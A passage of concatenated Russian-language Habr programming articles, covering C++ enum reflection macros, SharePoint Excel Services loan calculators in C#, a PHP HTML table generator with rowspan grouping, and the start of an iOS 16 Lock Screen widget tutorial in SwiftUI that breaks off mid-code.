val_t& operator=(const val_t&) { return *this; } \
val_t& operator=(int) { return *this; } \
operator int() const { return _val; } \
int _val; \
} __VA_ARGS__; \
const int vals[] = { __VA_ARGS__ }; \
return ::EnumReflector( vals, sizeof(vals)/sizeof(int), \
#enumName, Z_ENUM_DETAIL_STR((__VA_ARGS__)) ); \
}() ); \
return reflector; \
}
#define Z_ENUM_DETAIL_STR(x) #x
```
**Пример того, во что он разворачивается**
```
enum TasteFlags:int
{
None = 0,
Salted = 1 << 0,
Sour = 1 << 1,
Sweet = 1 << 2,
SourSweet = (Sour | Sweet),
Other = Constant,
Last
};
friend const ::EnumReflector& _detail_reflector_(TasteFlags)
{
static const ::EnumReflector reflector( []
{
static int sval;
sval = 0;
struct val_t
{
val_t(const val_t& rhs) : _val(rhs) { sval = _val + 1; }
val_t(int val) : _val(val) { sval = _val + 1; }
val_t() : _val(sval){ sval = _val + 1; }
val_t& operator=(const val_t&) { return *this; }
val_t& operator=(int) { return *this; }
operator int() const { return _val; }
int _val;
} None = 0, Salted = 1 << 0, Sour = 1 << 1, Sweet = 1 << 2, SourSweet = (Sour | Sweet), Other = Constant, Last;
const int vals[] = { None = 0, Salted = 1 << 0, Sour = 1 << 1, Sweet = 1 << 2, SourSweet = (Sour | Sweet), Other = Constant, Last };
return ::EnumReflector( vals, sizeof(vals)/sizeof(int), "TasteFlags", "( None = 0, Salted = 1 << 0, Sour = 1 << 1, Sweet = 1 << 2, SourSweet = (Sour | Sweet), Other = Constant, Last)" );
}());
return reflector;
}
```
Рассмотрим его по частям:
В начале *Z\_ENUM* раскрывается в обычный enum. Можно заметить, что явно указывается нижележащий тип данных — *int*. Так сделано только потому, что в *EnumReflector* сейчас значения хранятся с типом *int*. При необходимости *int* можно заменить на более большой тип.
После объявляется *friend*-функция *\_detail\_reflector\_*. Она принимает значение типа нашего перечисления и возвращает ссылку на объект EnumReflector, который на самом деле является статическим объектом, объявленным внутри нее.
Немного забегая вперед, приведу функцию *EnumReflector::For*, которая служит внешним интерфейсом для получения объекта EnumReflector:
```
template
inline const EnumReflector& EnumReflector::For(EnumType val)
{
return \_detail\_reflector\_(val);
}
```
Хитрость тут только в том, что используется ADL для поиска функции *\_detail\_reflector\_* по типу аргумента. Именно благодаря ADL мы можем получить информацию для перечислений вне зависимости от их класса или пространства имен.
Но вернемся в функцию *\_detail\_reflector\_*.
Для обеспечения атомарности, вся инициализация статического объекта EnumReflector происходит внутри безымянной лямбда-функции. Рассмотрим её поподробнее.
Сначала в ней объявляется статическая переменная-счетчик *sval*. Статическая она потому, что нам потребуется обращаться к ней из локального класса *val\_t*, определенного далее. Не имея дополнительного состояния, локальный класс, очевидно, может обращаться только к статическим переменным внешнего блока. В переменной *sval* будет храниться следующее значение для константы. Следующей строчкой мы инициализируем её в 0.
**Зачем?**На первый взгляд, это бессмысленное действие: изначально статическая переменная и так инициализирована в 0, а этот код будет выполнятся всего лишь один раз. Однако, проведя некоторые тесты, я заметил, что компиляторы гораздо лучше оптимизируют этот код, если мы явно сбросим значение перед использованием. Это, вероятно, обусловлено тем, что компилятору в этом случае не нужно исходить из возможных предыдущих значений *sval*
Далее определяется тип *val\_t*. После описания типа еще раз раскрывается *\_\_VA\_ARGS\_\_* (значения нашего перечисления). То есть мы определяем локальные переменные типа *val\_t* — и их количество соответствует количеству значений в перечислении, а имена соответствуют самим константам (они перекрывают собой настоящие константы определенного до этого enum-а). Для того, чтобы инициализация этих переменных правильно работала, у типа val\_t есть три конструктора. Каждый из них дополнительно устанавливает *sval* в следующее после себя значение, на случай если у следующей константы нет специально заданного значения.
Именно в этом месте, если после последнего значения имеется запятая — возникнет синтаксическая ошибка.
После, нам необходимо «перегнать» значения из переменных в массива типа *int*. Благодаря оператору преобразования в *int* у *val\_t* это сделать довольно просто — мы можем в качестве инициализаторов массива сразу использовать наши переменные типа *val\_t*, просто еще раз раскрыв *\_\_VA\_ARGS\_\_*. Поскольку при таком раскрытии могут присутствовать присваивания, то мы добавляем в val\_t два оператора присваивания, которые ничего не делают — таким образом мы полностью игнорируем присваивания.
Теперь, когда у нас есть массив всех значений и известно их количество, нужно получить названия констант в виде строк. Для этого все значения оборачиваются в строку вида "(\_\_VA\_ARGS\_\_)". Эта строка, наряду с указателем на массив и количеством элементов, передается в конструктор *EnumReflector*. Ему осталось только распарсить строку, выделив из нее имена констант, и сохранить все значения.
Сам парсер для быстродействия организован в виде простого конечного автомата.
**Код парсера в EnumReflector**
```
struct EnumReflector::Private
{
struct Enumerator
{
std::string name;
int value;
};
std::vector values;
std::string enumName;
};
static bool IsIdentChar(char c)
{
return (c >= 'A' && c <= 'Z') ||
(c >= 'a' && c <= 'z') ||
(c >= '0' && c <= '9') ||
(c == '\_');
}
EnumReflector::EnumReflector(const int\* vals, int count, const char\* name, const char\* body)
: \_data(new Private)
{
\_data->enumName = name;
\_data->values.resize(count);
enum states
{
state\_start, // Before identifier
state\_ident, // In identifier
state\_skip, // Looking for separator comma
} state = state\_start;
assert(\*body == '(');
++body;
const char\* ident\_start = nullptr;
int value\_index = 0;
int level = 0;
for (;;)
{
assert(\*body);
switch (state)
{
case state\_start:
if (IsIdentChar(\*body))
{
state = state\_ident;
ident\_start = body;
}
++body;
break;
case state\_ident:
if (!IsIdentChar(\*body))
{
state = state\_skip;
assert(value\_index < count);
\_data->values[value\_index].name = std::string(ident\_start, body - ident\_start);
\_data->values[value\_index].value = vals[value\_index];
++value\_index;
}
else
{
++body;
}
break;
case state\_skip:
if (\*body == '(')
{
++level;
}
else if (\*body == ')')
{
if (level == 0)
{
assert(value\_index == count);
return;
}
--level;
}
else if (level == 0 && \*body == ',')
{
state = state\_start;
}
++body;
}
}
}
```
Мы просто идем по строке, сохраняя идентификаторы (названия констант). После очередного идентификатора, мы ищем начало следующего идентификатора, и так далее. В конце имеем готовую структуру данных, содержащую всю информацию о перечислении.
Остальная часть реализации класса *EnumReflector* служит для получения этой информации и на мой взгляд, не представляет особого интереса для данной статьи. Напоминаю, в конце есть ссылка на полную версию.
При объявлении перечисления вне класса функция *\_detail\_reflector\_* должна быть объявлена не как *friend*, а как *inline*. Отсюда необходимость в отдельном макросе *Z\_ENUM\_NS*. Чтобы случайно не использовать *Z\_ENUM\_NS* в теле класса, в нем также присутствует пустой блок *extern «C» {}* (напоминаю, его использование в теле класса не допускается стандартом, так что получим ошибку компиляции).
Также, во избежание возникновения коллизий имён с константами, в полной версии все идентификаторы внутри функции *\_detail\_reflector\_* имеют префикс *\_detail\_*.
Что можно улучшить
------------------
Можно попробовать выполнять парсинг для получения названий прямо на этапе компиляции, используя user-defined литералы для строк и constexpr функции из C++14.
Также было бы неплохо избавиться от необходимости в двух разных макросах для определения перечисления в классе и вне класса, но пока что я не нашел способа это сделать, не сломав при этом поиск ADL.
Ссылки
------
Полная версия кода из статьи: [github.com](https://github.com/thedsi/EnumReflection).
Argument-Dependent Lookup: [cppreference.com](http://en.cppreference.com/w/cpp/language/adl).
---
На этом всё. Надеюсь, статья получилась интересной.
P.S.: Приветствуются предложения по улучшению данного способа. | https://habr.com/ru/post/276763/ | null | ru | null |
# Изменение калькуляторов расчета на сайте без программистов
Привет, Хабр!
В данной статье расскажем, какое применение мы нашли для технологии Excel Services, входящей в состав сервера SharePoint, для построения калькуляторов банковских продуктов.
В 2011 году мы разрабатывали сайт банка ВТБ24, одной из важных задач, которую должен решить новый сайт, было предоставление удобного инструмента для создания и обслуживания калькуляторов и заявок, связанных с продуктами банка. Например, для продукта кредитования «АвтоСтандарт» банк предоставляет пользователю сайта возможность самостоятельно рассчитать с помощью [калькулятора](http://www.vtb24.ru/personal/loans/auto/base/autostandard/calculator/Pages/default.aspx?geo=moscow) сумму выплат и в случае, если все устраивает, можно отправить [заявку](https://anketa.vtb24.ru/auto/).
Как обычно происходит процесс обновления калькулятора
-----------------------------------------------------
В большинстве случаев логику расчета калькуляторов сотрудникам банка удобно оформлять и согласовывать в виде Excel файлов, поэтому процесс внесения изменений в калькулятор на сайте может выглядеть так:
Если необходимо внести какие-то изменения или добавить новый продукт запускается процесс с множеством участников:
* специалисты заказчика согласовывают и описывают задачу (формируется Excel файл с расчетами и некоторое ТЗ);
* ставят задачу исполнителю;
* исполнитель ставит задачу команде разработки на внедрение новой логики расчетов;
* команда добавляет новый калькулятор, либо меняет логику старого.
В зависимости от «масштаба трагедии» этот процесс может занимать продолжительное время. В нашем случает такая ситуация не устраивала клиента, поскольку информация должна появляться на сайте в соответствии с определенным регламентом. Например, новые ставки уже действуют, а калькулятор все еще считает по старым. Команде разработки исполнителя такие однотипные задачи, как правило, тоже не приносят удовольствия, куда лучше создать какой-то новый интересный сервис, чем каждый день менять ставки продуктов и логику расчетов.
К чему стремимся
----------------
Идеальный вариант решения данной задачи — предоставить клиенту возможность самостоятельно менять параметры расчетов и создавать новые калькуляторы продуктов.
С точки зрения технической реализации это может выглядеть так:
* Все считает сам Excel, никакого переноса формул на другие языки (JS, C# и пр.).
1. используем технологию Excel Services или библиотеки для работы с Excel;
2. все данные с веб-формы, которые вводит пользователь, записываются на лист ввода данных;
3. выполняется расчет книги;
4. результаты вычислений считываются и отображаются на веб-форме.
**Выгода:** Клиент теперь сам может поменять файл и загрузить новую логику на сайт через веб-интерфейс.
* Создаем конструктор веб-форм с мэппингом на поля Excel.
1. определяем все поля, которые необходимы для автоматизации имеющихся калькуляторов;
2. на основании списка полей получаем элементы управления, с помощью которых можно автоматизировать все калькуляторы (чекбокс, радигруппа, слайдер и прочее);
3. формируем лист настроек и указываем элементы управления веб-формы, их значения при инициализации, граничные значения для валидации и любые другие параметры, на которые хватит фантазии;
4. также на листе настроек указываем, из каких ячеек будет считываться результат расчета, который увидит пользователь на странице.
**Выгода:** Клиент теперь сам может достаточно оперативно создать калькулятор нового типового продукта без привлечения программиста.
Вот так, например, выглядит лист ввода данных и результатов расчетов для калькулятора кредита «АвтоСтандарт» сайта ВТБ24:
Рассмотрим подход к созданию конструктора калькуляторов.
Техническая реализация
----------------------
Так как в качестве платформы для публичного сайта ВТБ24 в нашем распоряжении был SharePoint 2010, то «движком» для калькуляторов была выбрана служба Excel Services.
В задачи службы не входит визуализация данных, она лишь предоставляет программные интерфейсы для работы с Excel файлом, загруженным в память, и позволяет загрузить/сохранить файл, обращаться к его ячейкам для чтения и записи, произвести вычисления, а также предоставляет REST API и веб-сервис API для этих функций. Более подробно ознакомиться со всеми возможностями можно в этой [статье.](http://msdn.microsoft.com/ru-ru/library/ms546696(v=office.14).aspx)
Из важных для нашей задачи особенностей службы является то, что файл-источник загружается для сессии пользователя, который работает с порталом, и расчеты на книге одного пользователя не отражаются на результатах расчетов другого пользователя.
Еще мы должны были учесть возможность горизонтального масштабирования на несколько серверов, если мощности одного сервера не хватает для обслуживания большого количества пользователей. Из существенных недостатков можно выделить высокие базовые требования со стороны программного обеспечения (требуется Enterprise редакция сервера SharePoint), а из ограничений – отсутствие поддержки исполнения макросов.
### Пришло время собрать свой пример простого калькулятора
##### Что считаем?
Для того чтобы сосредоточиться на решении, а не на тонкостях банковских продуктов, мы не стали брать сложные реальные формулы, на основании которых, например, работают калькуляторы сайта ВТБ24. Для примера мы выбрали достаточно простую формулу, которая позволяет посчитать ежемесячный платеж:
где
A — ежемесячный платеж,
S — сумма кредита,
p — процентная ставка в месяц,
n — количество месяцев погашения кредита.
##### Начнем с подготовки файла
Создаем лист, который будет принимать входные данные для расчетов.
Итак, для ввода пользователю доступны поля: сумма кредита, количество месяцев и выбор валюты. Процентная ставка задана константой. В результате мы получаем размер ежемесячного платежа по формуле, которую выбрали выше.
Теперь нужно определить, какие элементы управления будут доступны пользователю для ввода этих значений на веб-форме. Для интереса примера возьмем разные элементы управления. В результате дополнительно получим следующие листы:
**Лист с настройками**. Содержит все необходимое для того, чтобы веб-форма смогла нарисовать и проинициализировать элементы управления. Например, строка номер 3 указывает на то, что на форме необходимо создать выпадающий список, заполнить его значениями из другого листа Excel (столбец RangeSet), выбрать значение по умолчанию и записывать результат изменения этого поля пользователем в ячейку, указанную в колонке PutCell. Полет фантазии ничем не ограничен, и вы можете придумать любые метаданные, которые нужны для решения задачи (например, в некоторых калькуляторах ВТБ24 используется динамический пересчет минимальных и максимальных значений некоторых полей в зависимости от введенных пользователем данных или используются переключатели режимов – в зависимости от выбранного значения радиогруппы используются разные листы для расчетов).
**Лист со справочниками** (в нашем случае это курсы валют).
Теперь файл содержит всю необходимую информацию и администратору портала будет достаточно загрузить его на сервер SharePoint и указать в настройках всего два параметра: путь к файлу и название листа с диапазоном ячеек для настроек.
Перейдем к созданию веб-интерфейса и кода конструктора калькуляторов.
##### Читаем настройки из файла и генерируем классы для будущих контролов
```
using Microsoft.Office.Excel.Server.WebServices;
…………
///
/// Формируем массив настроек на основании информации листа с настройками в Excel
///
public List GetControlsInfo(List controls)
{
List controlInfoList = new List();
SessionId = ExcelService.OpenWorkbook(ExcelFileUrl, "ru-RU", "ru-RU", out status);
string sheetName = SettingsPath.Split('!')[0];
string settingRange = SettingsPath.Split('!')[1];
// если нам что-то передали, то сначала пересчитываем книгу
if (controls != null)
Recalc(controls);
/\* Считываем диапазон с настройками, для нашего примера он задан А3:Н8
\* Для упрощения примера:
\* - перебираем только строки, столбцы "зашьем" в коде
\* - считаем, что у столбца только одна буква (в реальном Excel может быть 2е и больше)
\*/
int rowStart = int.Parse(settingRange.Split(':')[0].ToString().Substring(1));
int rowEnd = int.Parse(settingRange.Split(':')[1].ToString().Substring(1));
while (rowStart <= rowEnd)
{
string curRange = "A" + rowStart.ToString();
string cell = ExcelService.GetCellA1(SessionId, sheetName, curRange, false, out status).ToString();
if (cell == string.Empty)
break;
switch (cell)
{
case "DropDown":
controlInfoList.Add(new CalculateControl
{
Type = CalculatorControlType.Dropdown,
Name = GetCellValue(sheetName, "B", rowStart),
DefaultVal = GetSingleVal(GetCellValue(sheetName, "G", rowStart)),
Title = GetSingleVal(GetCellValue(sheetName, "C", rowStart)),
ValueList = GetDropDownVal(GetSingleVal(GetCellValue(sheetName, "D", rowStart))),
PutCell = GetCellValue(sheetName, "H", rowStart)
});
break;
case "Range":
controlInfoList.Add(new CalculateControl
{
Type = CalculatorControlType.Range,
Name = GetCellValue(sheetName, "B", rowStart),
Title = GetCellValue(sheetName, "C", rowStart),
DefaultVal = GetSingleVal(GetCellValue(sheetName, "G", rowStart)),
MinVal = GetSingleVal(GetCellValue(sheetName, "E", rowStart)),
MaxVal = GetSingleVal(GetCellValue(sheetName, "F", rowStart)),
PutCell = GetCellValue(sheetName, "H", rowStart)
});
break;
case "SingleVal":
controlInfoList.Add(new CalculateControl
{
Type = CalculatorControlType.SingleVal,
Name = GetCellValue(sheetName, "B", rowStart),
Title = GetCellValue(sheetName, "C", rowStart),
DefaultVal = GetSingleVal(GetCellValue(sheetName, "G", rowStart)),
});
break;
}
rowStart++;
}
ExcelService.CloseWorkbook(SessionId, out status);
return controlInfoList;
}
private string GetCellValue(string sheetName, string colName, int rowIndex)
{
return GetCellValue(sheetName, string.Concat(colName, rowIndex));
}
private string GetCellValue(string sheetName, string cell)
{
return ExcelService.GetCellA1(SessionId, sheetName, cell, false, out status).ToString();
}
private List GetDropDownVal(string rangeInf)
{
// В этом методе выбираем значения для выпадающего списка из диапазона – в нашем примере это «Валюта’!B2:B4»
// ……………..
}
private string GetSingleVal(string rangeInf)
{
var sheetName = rangeInf.Split('!')[0].ToString().Trim();
var cell = rangeInf.Split('!')[1].ToString().Trim();
return GetCellValue(sheetName, cell);
}
///
/// пересчет книги
///
///
public void Recalc(List controls)
{
foreach (CalculateControl control in controls.Where(w => w.Type != CalculatorControlType.SingleVal))
{
ExcelService.SetCellA1(SessionId, control.PutCell.Split('!')[0], control.PutCell.Split('!')[1], control.DefaultVal, out status);
}
ExcelService.CalculateWorkbook(SessionId, CalculateType.Recalculate, out status);
}
```
##### Создаем элементы управления и логику инициализации
```
///
/// Рендеринг элементов управления веб-формы калькулятора
///
private void DrawCalculator()
{
pnlInput.Controls.Clear();
pnlOut.Controls.Clear();
foreach (CalculateControl control in controlsInfoList)
{
Label lbl = new Label {Text = control.Title };
if (control.Type.Equals(CalculatorControlType.Dropdown))
{
DropDownList dd = new DropDownList {
ClientIDMode = ClientIDMode.Static;
EnableViewState = true;
ID = control.Name;
DataSource = control.ValueList;
SelectedValue = control.DefaultVal;
}
dd.DataBind();
pnlInput.Controls.Add(lbl);
pnlInput.Controls.Add(dd);
pnlInput.Controls.Add(new HtmlGenericControl("br"));
}
if (control.Type.Equals(CalculatorControlType.Range))
{
TextBox tbx = new TextBox {
ClientIDMode = ClientIDMode.Static;
EnableViewState = true;
ID = control.Name;
Text = control.DefaultVal;
}
pnlInput.Controls.Add(lbl);
pnlInput.Controls.Add(tbx);
pnlInput.Controls.Add(new HtmlGenericControl("br"));
}
if (control.Type.Equals(CalculatorControlType.SingleVal))
{
HtmlGenericControl tbx = new HtmlGenericControl("input");
tbx.Attributes["id"] = control.Name;
tbx.Attributes["Value"] = control.DefaultVal;
pnlOut.Controls.Add(lbl);
pnlOut.Controls.Add(new HtmlGenericControl("br"));
pnlOut.Controls.Add(tbx);
pnlOut.Controls.Add(new HtmlGenericControl("br"));
}
}
}
```
##### Получаем на странице готовую форму
В результате получаем на странице готовую форму, при изменении входных параметров которой происходит запись в указанные ячейки Excel, пересчет результатов и отображение новых результатов на странице.
*Замечание: для упрощения примера мы не стали делать специальные контролы для отображения «диапазонных» значений для суммы и срока кредита. В нашем случае они будут нужны только для клиентской (javaScript) проверки введенных значений.*
Конечно, до enterprise-решения данный пример следует существенно доработать:
* вынести логику в отдельный веб-сервис;
* добавить асинхронные ajax запросы на обновление страниц;
* написать логику на js для более дружественного пользователю поведения визуальных элементов;
* сделать более красивый (удобный) дизайн (к примеру, для ввода суммы кредита);
* и т.д.
В данном упрощенном примере мы ставили перед собой другую задачу — показать саму концепцию.
### Полезные ссылки
1. [Общие сведения о службах Excel](http://msdn.microsoft.com/ru-ru/library/ms546696(v=office.14).aspx)
2. [Архитектура служб Excel](http://msdn.microsoft.com/ru-ru/library/ms582023(v=office.14).aspx)
3. [Веб-службы Excel (раздел разработчика).](http://msdn.microsoft.com/ru-ru/library/ms572330(v=office.14).aspx)
**Никита Клычников, руководитель отдела разработки SharePoint ADV/web-engineering
Рустам Кафеев, разработчик SharePoint ADV/web-engineering** | https://habr.com/ru/post/188338/ | null | ru | null |
# Простой PHP генератор сложных HTML таблиц
Всем привет. Хочу поделиться свеженаписанным генератором HTML таблиц.
Участились случаи сбора различной статистики и компоновки ее в сложные таблицы с различными групировками.
Заметив такую тенденцию решил автоматизировать рисование таблиц.
Как итог:
* Избавил себя от составления слоеных циклов для вывода массива;
* Получил стандартизацию структуры массивов;
#### Простейшая структура
Собственно сам класс статичный, имеет 1 public метод, который принимает 2 параметра и возвращает HTML код таблицы:
```
Table::html($data, $tableInfo = false);
```
* `$data` — сам массив, который предстоит напечатать
* `$tableInfo(опционально)` — массив настроек таблицы
Массив `$data` имеет следующую структуру:
```
Array
(
[0] => Array // 1 строка
(
[0] => Cell_00 // 1 ячейка 1 строки
[1] => Cell_01 // 2 ячейка 1 строки
[2] => Cell_02 // 3 ячейка 1 строки
)
[1] => Array // 2 строка
(
[0] => Cell_10 // 1 ячейка
[1] => Cell_11 // 2 ячейка
[2] => Cell_12 // 3 ячейка
)
);
```
```
for($i=0;$i<5;$i++)
for($j=0;$j<5;$j++)
$matrix[$i][$j] = $i.$j;
```
#### Вложенные массивы
Но это примеры простейших матриц. Главной особенностью класса является автоматический подсчет `rowspan` и группировка данных.
Если вместо строки данных(ячейки) вставить аналогичный массив, то все данные этого подмассива будут помещены в строку родителя:
**Код**
```
Array
(
[0] => Array
(
[0] => Cell_00
[1] => Cell_01
[2] => Cell_02
)
[1] => Array
(
[0] => Cell_10
[1] => Cell_11
[2] => Array
(
[0] => Array
(
[0] => Cell_120
)
[1] => Array
(
[0] => Cell_121
)
)
)
)
```
Чуть глубже:
**Код**
```
Array
(
[0] => Array
(
[0] => Cell_00
[1] => Cell_01
[2] => Cell_02
)
[1] => Array
(
[0] => Cell_10
[1] => Array
(
[0] => Array
(
[0] => Cell_110
[1] => Array
(
[0] => Array
(
[0] => Cell_1100
)
[1] => Array
(
[0] => Cell_1101
)
)
)
[1] => Array
(
[0] => Cell_111
[1] => Cell_112
)
)
)
)
```
#### Кастомизация
Итак, класс умеет автоматически рисовать сложные таблицы и подсчитывать `rowspan'ы`. Теперь перейдем к ручной настройке таблицы.
Массив `$data` может содержать подмассив `['tableInfo']` — в нем можно указывать различные настройки, в зависимости от его(`'tableInfo'`) расположения.
Он может находиться:
1. ##### В корне массива, при перечислении строк
**Пример**
```
Array
(
[0] => Array(...)
[1] => Array(...)
...
[n] => Array(...)
[tableInfo] => Array (...)
)
```
`'tableInfo'` расположенный в корне массива позволяет задать общие настройки и параметры для всей таблицы:
```
Array
(
[rowspan] => false //Отключить автоматическую группировку. Глобальное правило для всей таблицы.
[cols] => Array //Массив колонок
(
[0] => Array
(
[title] => ФИО //title указывает заголовки колонок(выводятся в th).
[key] => name //key указывает какие и в каком порядке выводить ячейки.
)
[1] => Array //title и key независимы друг от друга
( //в массиве cols можно задать только title, можно только key
[title] => Телефон //Но если решили указывать оба правила, то указывайте их попарно для каждой колонки,
[key] => tel //иначе получите нежелательный результат
)
)
//Ряд HTML атрибутов для таблицы:
[id] => tableId
[class] => tableClass
[style] => color:#000;
[args] => align=left width=80% //В args можно указывать любые атрибуты, будут переданы без изменений.
)
```
Этот же массив можно передать вторым параметром методу:
```
Table::html($data, $tableInfo = false);
```
Если используются оба способа одновременно(`isset($data['tableInfo'] && isset($tableInfo)`), то в спорных случаях приоритет отдается правилам из второго массива `$tableInfo`.
```
array_replace_recursive($data['tableInfo'], $tableInfo);
```
###### Пример использования `title`
**Код**
```
Array
(
[0] => Array
(
[0] => Cell_00
[1] => Cell_01
[2] => Cell_02
)
[1] => Array
(
[0] => Cell_10
[1] => Cell_11
[2] => Cell_12
)
[tableInfo] => Array
(
[cols] => Array
(
[0] => Array
(
[title] => Title 1
)
[1] => Array
(
[title] => Title 2
)
[2] => Array
(
[title] => Title 3
)
)
)
)
```
###### Пример использования `key`
**Код**
```
Array
(
[0] => Array
(
[0] => Cell_00
[1] => Cell_01
[2] => Cell_02
)
[1] => Array
(
[0] => Cell_10
[1] => Cell_11
[2] => Cell_12
[3] => Cell_13 //Будет проигнорирован, т.к. не указан в key
)
[tableInfo] => Array
(
[cols] => Array
(
[0] => Array
(
[key] => 2
)
[1] => Array
(
[key] => 0
)
[2] => Array
(
[key] => 1
)
)
)
)
```
**Код**
```
$exmpl3 = array(
'tableInfo' => array(
'cols' => array(
0 => array('key' => 'cell0'),
1 => array('key' => 'cell1'),
2 => array('key' => 'cell2'),
)
),
0 => array(
'cell0' => 'Cell_00',
'cell2' => 'Cell_02',
'cell1' => 'Cell_01',
),
1 => array(
'cell0' => 'Cell_10',
'sub' => array(
0 => array(
'cell1' => 'Cell_110',
'sub' => array(
0 => array(
'cell2' => 'Cell_1100',
),
1 => array(
'cell0' => 'asdasd_10', //Не будут выведены, т.к. при выводе подмассива
'cell1' => 'asdasd_110',//учитываются только неиспользованные ключи
'cell2' => 'Cell_1101'
)
)
),
'sub' => array('cell1' => 'Cell_111', 'cell2' => 'Cell_112'),
)
)
);
```
Здесь стоит упомянуть, что если `key` вообще не используются, то массив выводимых ключей заполняется всеми ключами ячеек(не подмассивов), которые находятся в этой строке. Например в этом случае:
**Код**
```
$exmpl = array(
0 => array(
0 => 'Cell_00',
1 => 'Cell_01',
2 => 'Cell_02',
),
1 => array(
0 => 'Cell_10',
1 => 'Cell_11',
2 => 'Cell_12',
),
);
```
Для обоих строчек массив `$colKeys (массив выводимых ячеек)` будет выглядеть вот так:
```
$colKeys = array(0, 1, 2);
```
2. ##### В любом массиве ячеек (на любом уровне)
**Пример**
```
Array
(
[0] => Array(
[qwe] => йцу
[asd] => фыв
[tableInfo] => Array (...)
)
[1] => Array(...)
...
)
```
```
Array
(
[0] => Array(
[qwe] => йцу
[asd] => фыв
[zxc] => Array(
[0] => Array(
[jkl] => олд
[tableInfo] => Array (...)
)
[1] => Array()
)
)
[1] => Array(...)
...
)
```
`'tableInfo'` расположенный в массиве ячеек, может содержать настройки для строки, в которой он находится и/или настройки для каждой отдельной ячейки:
```
'tableInfo' => array(
'rowspan' => false, //Запретить подсчет rowspan для данной строки
'rowspan' => true, //Разрешить подсчет rowspan для данной строки
'rowspan' => 5, //Указать точное значение rowspan для данной строки
'keys' => array( //Правила по модификации масива выводимых ячеек
'delete' => 'all', //Удалить все ключи выводимых ячеек
'delete' => array('cell2'), //Удалить некоторые ключи(тут 'cell2')
'add' => array('cell3'), //Добавить в конец несколько ключей(тут 'cell3')
'forwarding' => array( //Замена одного ключа на другой. Можно указать несколько правил
0 => array(
'src' => 'cell1', //В этом примере вместо ячейки cell1
'dst' => 'cell2' //Будет выведена ячейка cell2
),
), //Эти правила действуют, даже если вы не указывали явно список ключей для таблицы
), //т.к. в этом случае массив выводимых ячеек будет содержать все ячейки строки
'cells' => array( //Правила для ячеек
'cell2' => array( //Массив правил для ячейки 'cell2'
'rowspan' => false, //Отключить
'rowspan' => true, //Включить
'rowspan' => 5, //Указать точное значение
'colspan' => 6, //Указать ТОЛЬКО точное значение
//Ряд HTML атрибутов для ячейки:
'id' => 'cellId',
'class' => 'cellClass',
'style' => 'color:#000;',
'args' => 'align=left width=80%'
)
),
//Ряд HTML атрибутов для строки:
'id' => 'rowId',
'class' => 'rowClass',
'style' => 'color:#000;',
'args' => 'align=left width=80%'
);
```
#### Приоритеты rowspan
1. Правило для ячейки (самое главное правило);
2. Правило для строки;
3. Правило для таблицы;
4. По умолчанию rowspan считается всегда, если присутствует подмассив.
Ну, вот и все. Некоторые моменты решил не рассматривать подробно, если будут вопросы — распишу.
[Скачать класс Table](https://github.com/fxss/class.table.php) | https://habr.com/ru/post/253207/ | null | ru | null |
# Как создать виджет экрана блокировки в iOS?
В iOS 16 Apple провела масштабную модернизацию Экран Блокировки. Одной из самых ожидаемых функций, которая появилась вместе с обновлением, - виджеты Экрана Блокировки. Как следует из названия, виджеты Экрана Блокировки — это виджеты, отображающие легко просматриваемый контент, который постоянно виден на экране блокировки iPhone и iPad.
Поскольку и виджеты Главного Экрана, и виджеты Экрана Блокировки работают на WidgetKit, способ создания виджета Экран Блокировки очень похож на то, как мы создаем виджеты Главного Экрана. Поэтому в этой статье я не буду показывать вам, как настроить и создать виджет с нуля, как это было описано в моей [предыдущей статье](https://swiftsenpai.com/development/getting-started-widgetkit/).
Вместо этого я сосредоточусь на том, как обновить код существующих виджетов Главного Экрана для поддержки виджетов Экрана Блокировки.
С учетом всего сказанного, давайте начнем!
### Краткое Резюме
В демонстрационных целях давайте обновим View Size Widget, который я создал в [предыдущей статье](https://swiftsenpai.com/development/getting-started-widgetkit/). Вкратце напомню, что View Size Widget — это статический виджет Главного Экрана, который отображает размер вью самого виджета. Вот как это выглядит:
View Size WidgetВот полная реализация View Size Widget:
```
import WidgetKit
import SwiftUI
// MARK: - The Timeline Entry
struct ViewSizeEntry: TimelineEntry {
let date: Date
let providerInfo: String
}
// MARK: - The Widget View
struct ViewSizeWidgetView : View {
let entry: ViewSizeEntry
var body: some View {
GeometryReader { geometry in
VStack {
// Show view size
Text("\(Int(geometry.size.width)) x \(Int(geometry.size.height))")
.font(.system(.title2, weight: .bold))
// Show provider info
Text(entry.providerInfo)
.font(.footnote)
}
.frame(maxWidth: .infinity, maxHeight: .infinity)
.background(Color.green)
}
}
}
// MARK: - The Timeline Provider
struct ViewSizeTimelineProvider: TimelineProvider {
typealias Entry = ViewSizeEntry
func placeholder(in context: Context) -> Entry {
// This data will be masked
return ViewSizeEntry(date: Date(), providerInfo: "placeholder")
}
func getSnapshot(in context: Context, completion: @escaping (Entry) -> ()) {
let entry = ViewSizeEntry(date: Date(), providerInfo: "snapshot")
completion(entry)
}
func getTimeline(in context: Context, completion: @escaping (Timeline) -> ()) {
let entry = ViewSizeEntry(date: Date(), providerInfo: "timeline")
let timeline = Timeline(entries: [entry], policy: .never)
completion(timeline)
}
}
// MARK: - The Widget Configuration
@main
struct ViewSizeWidget: Widget {
var body: some WidgetConfiguration {
StaticConfiguration(
kind: "com.SwiftSenpaiDemo.ViewSizeWidget",
provider: ViewSizeTimelineProvider()
) { entry in
ViewSizeWidgetView(entry: entry)
}
.configurationDisplayName("View Size Widget")
.description("This is a demo widget.")
.supportedFamilies([
.systemSmall,
.systemMedium,
.systemLarge,
])
}
}
```
Если приведенный выше код не имеет для вас никакого смысла, прежде чем продолжить, я настоятельно рекомендую вам сначала прочитать мою статью под названием [«Начало работы с WidgetKit](https://swiftsenpai.com/development/getting-started-widgetkit/)».
### Добавление Виджетов Экрана Блокировки в Ваши Приложения
#### Добавление Поддерживаемых Семейств Виджетов
В iOS 16 Apple представила 3 новых семейства виджетов, которые представляют 3 разных типа виджетов Экрана Блокировки, а именно: accessoryCircular, accessoryRectangular и accessorInline.
Новые семейства виджетов для виджетов Экрана БлокировкиДавайте продолжим и сделаем эти 3 новых семейства виджетов поддерживаемыми. Это все, что нам нужно сделать, чтобы добавить поддержку виджета Экрана Блокировки в наше существующее расширение виджета.
```
struct ViewSizeWidget: Widget {
var body: some WidgetConfiguration {
StaticConfiguration(
kind: "com.SwiftSenpaiDemo.ViewSizeWidget",
provider: ViewSizeTimelineProvider()
) { entry in
ViewSizeWidgetView(entry: entry)
}
.configurationDisplayName("View Size Widget")
.description("This is a demo widget.")
.supportedFamilies([
.systemSmall,
.systemMedium,
.systemLarge,
// Add Support to Lock Screen widgets
.accessoryCircular,
.accessoryRectangular,
